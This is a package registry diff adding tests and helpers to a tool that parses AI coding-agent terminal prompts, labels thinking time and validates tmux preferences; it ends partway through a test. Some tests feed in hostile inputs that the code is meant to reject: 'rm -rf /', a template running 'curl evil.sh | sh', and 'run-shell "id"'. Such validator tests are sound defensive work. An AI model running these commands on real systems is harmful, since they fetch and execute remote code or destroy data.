@indianic/dialout 1.10.0 → 1.11.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/ai-adapters/claude.d.ts.map +1 -1
- package/dist/ai-adapters/claude.js +18 -1
- package/dist/ai-adapters/claude.js.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/ai-chat-prefs.test.js +38 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/attachments.test.js +31 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts +1 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.js +1 -1
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/chat-blocks.test.js +67 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/command-filter.test.js +63 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/composer-behaviour.test.js +27 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/event-merge.test.js +42 -0
- package/node_modules/@indianic/dialout-shared/dist/events.d.ts +1 -0
- package/node_modules/@indianic/dialout-shared/dist/events.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/index.d.ts +2 -1
- package/node_modules/@indianic/dialout-shared/dist/index.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/index.js +7 -1
- package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/notify.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/notify.test.js +51 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts +17 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.d.ts.map +1 -1
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.js +27 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/pane-prompt.test.js +184 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/scroll-pin.test.js +21 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts +9 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.js +38 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/thinking.test.js +30 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.js +95 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts +2 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts.map +1 -0
- package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.js +38 -0
- package/node_modules/@indianic/dialout-shared/package.json +2 -2
- package/node_modules/@indianic/dialout-shared/src/chat-blocks.ts +2 -2
- package/node_modules/@indianic/dialout-shared/src/events.ts +5 -1
- package/node_modules/@indianic/dialout-shared/src/index.ts +2 -1
- package/node_modules/@indianic/dialout-shared/src/pane-prompt.test.ts +23 -1
- package/node_modules/@indianic/dialout-shared/src/pane-prompt.ts +27 -0
- package/node_modules/@indianic/dialout-shared/src/thinking.test.ts +32 -0
- package/node_modules/@indianic/dialout-shared/src/thinking.ts +32 -0
- package/package.json +1 -1
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"pane-prompt.test.d.ts","sourceRoot":"","sources":["../src/pane-prompt.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,184 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const pane_prompt_1 = require("./pane-prompt");
|
|
5
|
+
// Shapes as the CLIs draw them (spacing kept), plus the noise around them.
|
|
6
|
+
const CLAUDE_BASH = `
|
|
7
|
+
⏺ I'll run the tests.
|
|
8
|
+
|
|
9
|
+
╭──────────────────────────────────────────────────────────────╮
|
|
10
|
+
│ Bash command │
|
|
11
|
+
│ │
|
|
12
|
+
│ npm test │
|
|
13
|
+
│ Run the test suite │
|
|
14
|
+
│ │
|
|
15
|
+
│ Do you want to proceed? │
|
|
16
|
+
│ ❯ 1. Yes │
|
|
17
|
+
│ 2. Yes, and don't ask again for npm test commands in /app │
|
|
18
|
+
│ 3. No, and tell Claude what to do differently (esc) │
|
|
19
|
+
╰──────────────────────────────────────────────────────────────╯
|
|
20
|
+
`;
|
|
21
|
+
const CLAUDE_QUESTION = `
|
|
22
|
+
⏺ Let me ask a couple of things first.
|
|
23
|
+
|
|
24
|
+
────────────────────────────────────────────────────────────────
|
|
25
|
+
☐ Colour ☐ Pet ✔ Submit →
|
|
26
|
+
|
|
27
|
+
Which colour do you prefer?
|
|
28
|
+
|
|
29
|
+
❯ 1. Red
|
|
30
|
+
Warm and loud
|
|
31
|
+
2. Green
|
|
32
|
+
Calm
|
|
33
|
+
3. Type something.
|
|
34
|
+
────────────────────────────────────────────────────────────────
|
|
35
|
+
4. Chat about this
|
|
36
|
+
|
|
37
|
+
Enter to select · Tab/Arrow keys to navigate · Esc to cancel
|
|
38
|
+
`;
|
|
39
|
+
const CLAUDE_TRUST = `
|
|
40
|
+
Accessing workspace:
|
|
41
|
+
|
|
42
|
+
/Users/me/code/app
|
|
43
|
+
|
|
44
|
+
Quick safety check: Is this a project you created or one you trust?
|
|
45
|
+
|
|
46
|
+
❯ No, exit
|
|
47
|
+
Yes, I trust this folder
|
|
48
|
+
|
|
49
|
+
Enter to confirm · Esc to cancel
|
|
50
|
+
`;
|
|
51
|
+
const CODEX_APPROVAL = `
|
|
52
|
+
• Running tests
|
|
53
|
+
|
|
54
|
+
Would you like to run the following command?
|
|
55
|
+
|
|
56
|
+
$ npm test
|
|
57
|
+
|
|
58
|
+
› 1. Yes, proceed (y)
|
|
59
|
+
2. Yes, and don't ask again for this command (a)
|
|
60
|
+
3. No, and tell Codex what to do differently (esc)
|
|
61
|
+
|
|
62
|
+
Press enter to confirm or esc to cancel
|
|
63
|
+
`;
|
|
64
|
+
const MULTI = `
|
|
65
|
+
Which features should I add?
|
|
66
|
+
|
|
67
|
+
❯ 1. [ ] Dark mode
|
|
68
|
+
2. [✔] Search
|
|
69
|
+
3. [ ] Export
|
|
70
|
+
4. Submit
|
|
71
|
+
|
|
72
|
+
Enter to select · ↑/↓ to navigate · Esc to cancel
|
|
73
|
+
`;
|
|
74
|
+
const IDLE_CLAUDE = `
|
|
75
|
+
⏺ Done. Here is what changed:
|
|
76
|
+
|
|
77
|
+
1. Fixed the parser
|
|
78
|
+
2. Added tests
|
|
79
|
+
3. Updated docs
|
|
80
|
+
|
|
81
|
+
────────────────────────────────────────────────────────────────
|
|
82
|
+
❯
|
|
83
|
+
────────────────────────────────────────────────────────────────
|
|
84
|
+
⏵⏵ auto mode on (shift+tab to cycle)
|
|
85
|
+
`;
|
|
86
|
+
const SHELL = `
|
|
87
|
+
~/code/app main
|
|
88
|
+
❯ ls
|
|
89
|
+
README.md package.json src
|
|
90
|
+
~/code/app main
|
|
91
|
+
❯
|
|
92
|
+
`;
|
|
93
|
+
(0, vitest_1.describe)('detectPanePrompt', () => {
|
|
94
|
+
(0, vitest_1.it)('reads a Claude permission prompt inside a box', () => {
|
|
95
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH);
|
|
96
|
+
(0, vitest_1.expect)(p.question).toBe('Do you want to proceed?');
|
|
97
|
+
(0, vitest_1.expect)(p.detail).toEqual(['Bash command', 'npm test', 'Run the test suite']);
|
|
98
|
+
(0, vitest_1.expect)(p.options.map((o) => o.label)).toEqual([
|
|
99
|
+
'Yes', "Yes, and don't ask again for npm test commands in /app", 'No, and tell Claude what to do differently (esc)',
|
|
100
|
+
]);
|
|
101
|
+
(0, vitest_1.expect)(p.options[0].selected).toBe(true);
|
|
102
|
+
(0, vitest_1.expect)(p.approval).toBe(true);
|
|
103
|
+
(0, vitest_1.expect)(p.multi).toBe(false);
|
|
104
|
+
});
|
|
105
|
+
(0, vitest_1.it)('reads a question menu with hints, a separator and a footer', () => {
|
|
106
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_QUESTION);
|
|
107
|
+
(0, vitest_1.expect)(p.question).toBe('Which colour do you prefer?');
|
|
108
|
+
(0, vitest_1.expect)(p.options.map((o) => o.label)).toEqual(['Red', 'Green', 'Type something.', 'Chat about this']);
|
|
109
|
+
(0, vitest_1.expect)(p.options[0].hint).toBe('Warm and loud');
|
|
110
|
+
(0, vitest_1.expect)(p.options[1].hint).toBe('Calm');
|
|
111
|
+
(0, vitest_1.expect)(p.footer).toMatch(/Enter to select/);
|
|
112
|
+
(0, vitest_1.expect)(p.approval).toBe(false);
|
|
113
|
+
});
|
|
114
|
+
(0, vitest_1.it)('reads an unnumbered menu when a footer vouches for it', () => {
|
|
115
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_TRUST);
|
|
116
|
+
(0, vitest_1.expect)(p.options.map((o) => [o.n, o.label, o.selected])).toEqual([[1, 'No, exit', true], [2, 'Yes, I trust this folder', false]]);
|
|
117
|
+
(0, vitest_1.expect)(p.question).toMatch(/one you trust\?$/);
|
|
118
|
+
});
|
|
119
|
+
(0, vitest_1.it)('reads a Codex approval', () => {
|
|
120
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CODEX_APPROVAL);
|
|
121
|
+
(0, vitest_1.expect)(p.question).toBe('Would you like to run the following command?');
|
|
122
|
+
(0, vitest_1.expect)(p.detail).toContain('$ npm test');
|
|
123
|
+
(0, vitest_1.expect)(p.options).toHaveLength(3);
|
|
124
|
+
(0, vitest_1.expect)(p.options[0].selected).toBe(true);
|
|
125
|
+
});
|
|
126
|
+
(0, vitest_1.it)('marks multi-select rows', () => {
|
|
127
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(MULTI);
|
|
128
|
+
(0, vitest_1.expect)(p.multi).toBe(true);
|
|
129
|
+
(0, vitest_1.expect)(p.options.map((o) => o.checked)).toEqual([false, true, false, null]);
|
|
130
|
+
(0, vitest_1.expect)(p.options[1].label).toBe('Search');
|
|
131
|
+
});
|
|
132
|
+
(0, vitest_1.it)('finds a prompt under several status lines', () => {
|
|
133
|
+
const status = '\n [Opus 5.5] │ app │ main\n Context ░░░░ 12%\n Usage ok\n ⏵⏵ auto mode on (shift+tab to cycle)\n';
|
|
134
|
+
const noFooter = CLAUDE_BASH.trimEnd() + status;
|
|
135
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(noFooter)?.question).toBe('Do you want to proceed?');
|
|
136
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(CLAUDE_TRUST.trimEnd() + status)?.options).toHaveLength(2);
|
|
137
|
+
});
|
|
138
|
+
(0, vitest_1.it)('ignores an idle agent, a numbered reply and a shell prompt', () => {
|
|
139
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(IDLE_CLAUDE)).toBeNull();
|
|
140
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(SHELL)).toBeNull();
|
|
141
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)('')).toBeNull();
|
|
142
|
+
});
|
|
143
|
+
(0, vitest_1.it)('keeps its id while the cursor moves, changes it for a new question', () => {
|
|
144
|
+
const a = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH);
|
|
145
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH.replace('❯ 1. Yes', ' 1. Yes').replace('│ 2. Yes,', '│ ❯ 2. Yes,')).id).toBe(a.id);
|
|
146
|
+
(0, vitest_1.expect)((0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH.replace('npm test ', 'npm run x')).id).not.toBe(a.id);
|
|
147
|
+
});
|
|
148
|
+
});
|
|
149
|
+
(0, vitest_1.describe)('promptKeys', () => {
|
|
150
|
+
(0, vitest_1.it)('moves from the cursor to the target, then Enter', () => {
|
|
151
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH);
|
|
152
|
+
(0, vitest_1.expect)((0, pane_prompt_1.promptKeys)(p, 1)).toEqual(['Enter']);
|
|
153
|
+
(0, vitest_1.expect)((0, pane_prompt_1.promptKeys)(p, 3)).toEqual(['Down', 'Down', 'Enter']);
|
|
154
|
+
const moved = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH.replace('❯ 1. Yes', ' 1. Yes').replace('│ 2. Yes,', '│ ❯ 2. Yes,'));
|
|
155
|
+
(0, vitest_1.expect)((0, pane_prompt_1.promptKeys)(moved, 1)).toEqual(['Up', 'Enter']);
|
|
156
|
+
});
|
|
157
|
+
(0, vitest_1.it)('only lets named keys and single characters through', () => {
|
|
158
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isSafeKeyList)(['Down', 'Enter', 'y', '1'])).toBe(true);
|
|
159
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isSafeKeyList)(['rm -rf /'])).toBe(false);
|
|
160
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isSafeKeyList)([';', 'Enter'])).toBe(false);
|
|
161
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isSafeKeyList)([])).toBe(false);
|
|
162
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isSafeKeyList)('Enter')).toBe(false);
|
|
163
|
+
});
|
|
164
|
+
});
|
|
165
|
+
(0, vitest_1.describe)('free-text rows', () => {
|
|
166
|
+
(0, vitest_1.it)('knows which rows want typing, and moves there without choosing', () => {
|
|
167
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isFreeTextOption)('Type something.')).toBe(true);
|
|
168
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isFreeTextOption)('Other')).toBe(true);
|
|
169
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isFreeTextOption)('No, and tell Claude what to do differently (esc)')).toBe(false);
|
|
170
|
+
(0, vitest_1.expect)((0, pane_prompt_1.isFreeTextOption)('Yes')).toBe(false);
|
|
171
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_QUESTION);
|
|
172
|
+
(0, vitest_1.expect)((0, pane_prompt_1.promptMoveKeys)(p, 3)).toEqual(['Down', 'Down']);
|
|
173
|
+
(0, vitest_1.expect)((0, pane_prompt_1.promptMoveKeys)(p, 1)).toEqual([]);
|
|
174
|
+
});
|
|
175
|
+
(0, vitest_1.it)('finds the row that wants typing, and stops once it holds text', () => {
|
|
176
|
+
const p = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_QUESTION);
|
|
177
|
+
(0, vitest_1.expect)((0, pane_prompt_1.freeTextRow)(p)).toBe(3);
|
|
178
|
+
// The TUI echoes what is typed in place of the label; the row is then
|
|
179
|
+
// mid-answer, not an empty invitation, so the card must not reopen on it.
|
|
180
|
+
const typed = (0, pane_prompt_1.detectPanePrompt)(CLAUDE_QUESTION.replace('3. Type something.', '3. Teal like the sea'));
|
|
181
|
+
(0, vitest_1.expect)((0, pane_prompt_1.freeTextRow)(typed)).toBe(0);
|
|
182
|
+
(0, vitest_1.expect)((0, pane_prompt_1.freeTextRow)((0, pane_prompt_1.detectPanePrompt)(CLAUDE_BASH))).toBe(0);
|
|
183
|
+
});
|
|
184
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"scroll-pin.test.d.ts","sourceRoot":"","sources":["../src/scroll-pin.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,21 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const scroll_pin_1 = require("./scroll-pin");
|
|
5
|
+
(0, vitest_1.describe)('shouldFollow', () => {
|
|
6
|
+
(0, vitest_1.it)('follows when parked at the bottom', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, scroll_pin_1.shouldFollow)(900, 1400, 500)).toBe(true);
|
|
8
|
+
});
|
|
9
|
+
(0, vitest_1.it)('follows at exactly the threshold, and stops one pixel past it', () => {
|
|
10
|
+
(0, vitest_1.expect)((0, scroll_pin_1.shouldFollow)(900 - scroll_pin_1.PIN_THRESHOLD_PX, 1400, 500)).toBe(true);
|
|
11
|
+
(0, vitest_1.expect)((0, scroll_pin_1.shouldFollow)(900 - scroll_pin_1.PIN_THRESHOLD_PX - 1, 1400, 500)).toBe(false);
|
|
12
|
+
});
|
|
13
|
+
(0, vitest_1.it)('does not follow when the reader has scrolled up', () => {
|
|
14
|
+
(0, vitest_1.expect)((0, scroll_pin_1.shouldFollow)(0, 1400, 500)).toBe(false);
|
|
15
|
+
});
|
|
16
|
+
// Content shorter than the viewport is always "at the bottom": there is
|
|
17
|
+
// nowhere to scroll, so a new event must still land in view.
|
|
18
|
+
(0, vitest_1.it)('follows when content is shorter than the viewport', () => {
|
|
19
|
+
(0, vitest_1.expect)((0, scroll_pin_1.shouldFollow)(0, 300, 500)).toBe(true);
|
|
20
|
+
});
|
|
21
|
+
});
|
|
@@ -0,0 +1,9 @@
|
|
|
1
|
+
/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
|
|
2
|
+
export declare function thinkingDuration(ms: number): string;
|
|
3
|
+
/**
|
|
4
|
+
* The label for a thinking row. "Thought for 1.4s" when the vendor said how
|
|
5
|
+
* long, and the vaguer wording only when it did not — never a bare
|
|
6
|
+
* "thinking…", which read as though something were still in flight.
|
|
7
|
+
*/
|
|
8
|
+
export declare function thinkingLabel(ms?: number): string;
|
|
9
|
+
//# sourceMappingURL=thinking.d.ts.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"thinking.d.ts","sourceRoot":"","sources":["../src/thinking.ts"],"names":[],"mappings":"AAWA,4EAA4E;AAC5E,wBAAgB,gBAAgB,CAAC,EAAE,EAAE,MAAM,GAAG,MAAM,CASnD;AAED;;;;GAIG;AACH,wBAAgB,aAAa,CAAC,EAAE,CAAC,EAAE,MAAM,GAAG,MAAM,CAGjD"}
|
|
@@ -0,0 +1,38 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
// How a spell of reasoning is labelled in the transcript.
|
|
3
|
+
//
|
|
4
|
+
// Most of it never reaches us. Claude Code runs adaptive thinking with a
|
|
5
|
+
// `clear_thinking_20251015` context edit, which strips the words out of the
|
|
6
|
+
// persisted history and leaves a signed, empty block behind — measured at 515
|
|
7
|
+
// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
|
|
8
|
+
// So a thinking row usually has no words to show, only the fact that it
|
|
9
|
+
// happened and `thinkingDurationMs` saying how long for. That is worth
|
|
10
|
+
// showing: it is the difference between an agent that is stuck and one that is
|
|
11
|
+
// thinking hard.
|
|
12
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
13
|
+
exports.thinkingDuration = thinkingDuration;
|
|
14
|
+
exports.thinkingLabel = thinkingLabel;
|
|
15
|
+
/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
|
|
16
|
+
function thinkingDuration(ms) {
|
|
17
|
+
if (!Number.isFinite(ms) || ms <= 0)
|
|
18
|
+
return '';
|
|
19
|
+
if (ms < 1000)
|
|
20
|
+
return `${Math.round(ms)}ms`;
|
|
21
|
+
const s = ms / 1000;
|
|
22
|
+
if (s < 10)
|
|
23
|
+
return `${s.toFixed(1)}s`;
|
|
24
|
+
if (s < 60)
|
|
25
|
+
return `${Math.round(s)}s`;
|
|
26
|
+
const m = Math.floor(s / 60);
|
|
27
|
+
const rest = Math.round(s % 60);
|
|
28
|
+
return rest ? `${m}m ${rest}s` : `${m}m`;
|
|
29
|
+
}
|
|
30
|
+
/**
|
|
31
|
+
* The label for a thinking row. "Thought for 1.4s" when the vendor said how
|
|
32
|
+
* long, and the vaguer wording only when it did not — never a bare
|
|
33
|
+
* "thinking…", which read as though something were still in flight.
|
|
34
|
+
*/
|
|
35
|
+
function thinkingLabel(ms) {
|
|
36
|
+
const d = ms == null ? '' : thinkingDuration(ms);
|
|
37
|
+
return d ? `Thought for ${d}` : 'Thought for a moment';
|
|
38
|
+
}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"thinking.test.d.ts","sourceRoot":"","sources":["../src/thinking.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,30 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const thinking_1 = require("./thinking");
|
|
5
|
+
(0, vitest_1.describe)('thinkingDuration', () => {
|
|
6
|
+
(0, vitest_1.it)('reads like a stopwatch at every scale', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(490)).toBe('490ms');
|
|
8
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(1422)).toBe('1.4s');
|
|
9
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(12252)).toBe('12s');
|
|
10
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(59_400)).toBe('59s');
|
|
11
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(60_000)).toBe('1m');
|
|
12
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(125_000)).toBe('2m 5s');
|
|
13
|
+
});
|
|
14
|
+
(0, vitest_1.it)('says nothing rather than "0s" when there is no duration to report', () => {
|
|
15
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(0)).toBe('');
|
|
16
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(-5)).toBe('');
|
|
17
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(NaN)).toBe('');
|
|
18
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingDuration)(Infinity)).toBe('');
|
|
19
|
+
});
|
|
20
|
+
});
|
|
21
|
+
(0, vitest_1.describe)('thinkingLabel', () => {
|
|
22
|
+
(0, vitest_1.it)('names the duration when the vendor gave one', () => {
|
|
23
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(1422)).toBe('Thought for 1.4s');
|
|
24
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(12252)).toBe('Thought for 12s');
|
|
25
|
+
});
|
|
26
|
+
(0, vitest_1.it)('falls back to the vague wording, never a bare "thinking…"', () => {
|
|
27
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(undefined)).toBe('Thought for a moment');
|
|
28
|
+
(0, vitest_1.expect)((0, thinking_1.thinkingLabel)(0)).toBe('Thought for a moment');
|
|
29
|
+
});
|
|
30
|
+
});
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"tmux-prefs.test.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,95 @@
|
|
|
1
|
+
"use strict";
|
|
2
|
+
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
|
+
const vitest_1 = require("vitest");
|
|
4
|
+
const tmux_prefs_1 = require("./tmux-prefs");
|
|
5
|
+
(0, vitest_1.describe)('resolveTmuxPrefs', () => {
|
|
6
|
+
(0, vitest_1.it)('returns the defaults for an empty input', () => {
|
|
7
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({})).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
8
|
+
});
|
|
9
|
+
// The same function guards a config file on disk and a JSON body from a
|
|
10
|
+
// browser, so every shape of garbage has to come out as valid prefs.
|
|
11
|
+
(0, vitest_1.it)('survives null, undefined and non-objects', () => {
|
|
12
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(null)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
13
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(undefined)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
14
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 'not an object' })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
15
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 42 })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
|
|
16
|
+
});
|
|
17
|
+
(0, vitest_1.it)('overrides only what it names', () => {
|
|
18
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'tmux' } });
|
|
19
|
+
(0, vitest_1.expect)(prefs.mouse).toBe('tmux');
|
|
20
|
+
(0, vitest_1.expect)(prefs.historyLimit).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
|
|
21
|
+
});
|
|
22
|
+
// status is nested; a shallow spread would wipe the siblings.
|
|
23
|
+
(0, vitest_1.it)('keeps unnamed status siblings', () => {
|
|
24
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: 'colour238' } } });
|
|
25
|
+
(0, vitest_1.expect)(prefs.status.bg).toBe('colour238');
|
|
26
|
+
(0, vitest_1.expect)(prefs.status.fg).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.fg);
|
|
27
|
+
(0, vitest_1.expect)(prefs.status.enabled).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.enabled);
|
|
28
|
+
});
|
|
29
|
+
(0, vitest_1.it)('falls back rather than passing an unknown enum through to tmux', () => {
|
|
30
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
|
|
31
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
|
|
32
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { position: 'sideways' } } }).status.position)
|
|
33
|
+
.toBe('bottom');
|
|
34
|
+
});
|
|
35
|
+
(0, vitest_1.it)('rejects a non-integer, negative or absurd history limit', () => {
|
|
36
|
+
for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
|
|
37
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: bad } }).historyLimit)
|
|
38
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
|
|
39
|
+
}
|
|
40
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
|
|
41
|
+
});
|
|
42
|
+
// The one that matters once a browser can send this: a template carrying
|
|
43
|
+
// command substitution must never be stored.
|
|
44
|
+
(0, vitest_1.it)('rejects a status template containing command substitution', () => {
|
|
45
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
|
|
46
|
+
(0, vitest_1.expect)(prefs.status.left).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
|
|
47
|
+
});
|
|
48
|
+
(0, vitest_1.it)('rejects a status template containing run-shell', () => {
|
|
49
|
+
const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { right: 'x run-shell "id"' } } });
|
|
50
|
+
(0, vitest_1.expect)(prefs.status.right).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.right);
|
|
51
|
+
});
|
|
52
|
+
(0, vitest_1.it)('rejects an over-long status template', () => {
|
|
53
|
+
const long = 'a'.repeat(tmux_prefs_1.MAX_STATUS_TEMPLATE + 1);
|
|
54
|
+
(0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: long } } }).status.left)
|
|
55
|
+
.toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
|
|
56
|
+
});
|
|
57
|
+
(0, vitest_1.it)('rejects a colour that is not a colour', () => {
|
|
58
|
+
